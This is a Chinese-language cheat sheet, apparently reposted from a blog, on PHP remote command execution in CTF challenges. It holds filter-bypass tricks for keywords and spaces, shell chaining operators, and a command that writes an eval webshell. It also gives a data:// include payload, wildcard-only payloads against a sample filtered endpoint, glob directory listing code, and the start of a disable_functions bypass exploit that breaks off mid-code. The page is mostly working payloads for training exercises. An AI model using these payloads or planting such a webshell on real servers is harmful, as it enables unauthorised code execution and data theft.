命令执行rec总结

编程入门 行业动态 更新时间:2024-10-18 01:34:36

<a href=https://www.elefans.com/category/jswz/34/1771323.html style=命令执行rec总结"/>

命令执行rec总结

过滤flag,php等关键字

fla?
fla\g
fl*
fla’'g
变量拼接
利用$_POST和$_GET
PHP短标签

控制参数: short_open_tag = On 如果设置为Off,则不能正常解析类似于这样形式的php文件: phpinfo() ?> 而只能解析 <?php phpinfo() ?> 这样形式的php文件 所以要想php支持短标签,需要我们把short_open_tag 设置为On.

<?php 这是完整标签 <? 这是短标签 //php.ini中 short_open_tag = On //除<?php ?>,可使用更灵活的调用方法 <? /*程序操作*/ ?> <?=/*函数*/?>

或者

<script language=”php”>echo“444444444444 <br>”
</script>

如果是替换可以双写绕过

用于执行rce的函数和方法

反引号``与shell_exec作用相同
system执行外部程序,并且显示输出
exec 执行一个外部程序
passthru执行外部程序并且显示原始输出
shell_exec通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

用于读取文件内容的函数和方法

tac
cat
head
tail
more
less
nl
cp flag.php 1.txt
mv

php函数
scandir()

当空格被过滤

${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09水平制表符替换
%0a换行键替换
%0b垂直制表符替换

常用管道符

  • “;”:执行完前面的语句再执行后面的语句。
  • “|”:显示后面语句的执行结果。| 表示管道,上一条命令的输出,作为下一条命令参数(输入)。
  • “||”:当前面的语句执行出错时,执行后面的语句。|| 表示上一条命令执行失败后,才执行下一条命令。
  • “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。单一个& 符号,且放在完整指令列的最后端,即表示将该指令列放入后台中工作。
  • “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。&& 表示前一条命令执行成功时,才执行后一条命令。

写入木马

echo "<?php @eval(\$_POST['shell']);?>" >> 1.php

echo -e 处理特殊字符
echo命令会调用$_POST导致原始文件中没有,所以要加一个\

include($c.".php");

?c=data://text/plain,<?php system('cat fla?.php')?>
这样也可以执行,因为该语句会先执行<?php system('cat fla?.php')?>然后在加上.php

无字母数字的命令执行


例題:

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

payload: ?c=/???/???64%20???.???
或者?c=/???/???/???2 ???.??? —》 然后在url + /flag.php.bz2
前置知识:
bin目录:

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php 对应的就是/???/???64%20???.???

另外一种payload
/usr/bin目录:

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。

我们可以利用/usr/bin下的bzip2

意思就是说我们先将flag.php文件进行压缩,然后再将其下载

PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数

#h2-0
glob

查找匹配的文件路径模式,是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议

常用bypass方式如下:

<?php
$c="glob:///*";
$a=new DirectoryIterator($c);
foreach($a as $f){
echo($f->$_toString().'<br>');
}
?>

可以用来列举根目录

我们还可以这样来利用查找txt文件

c=
$a=new DirectoryIterator("glob:///*.txt");   
foreach($a as $f) 
{
echo($f->__toString().' ');
} 
exit(0);

若根目录中有一个flag0.txt,可以用脚本读出来

function ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr

更多推荐

命令执行rec总结

本文发布于:2024-03-23 15:34:09,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1739840.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:命令   rec

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!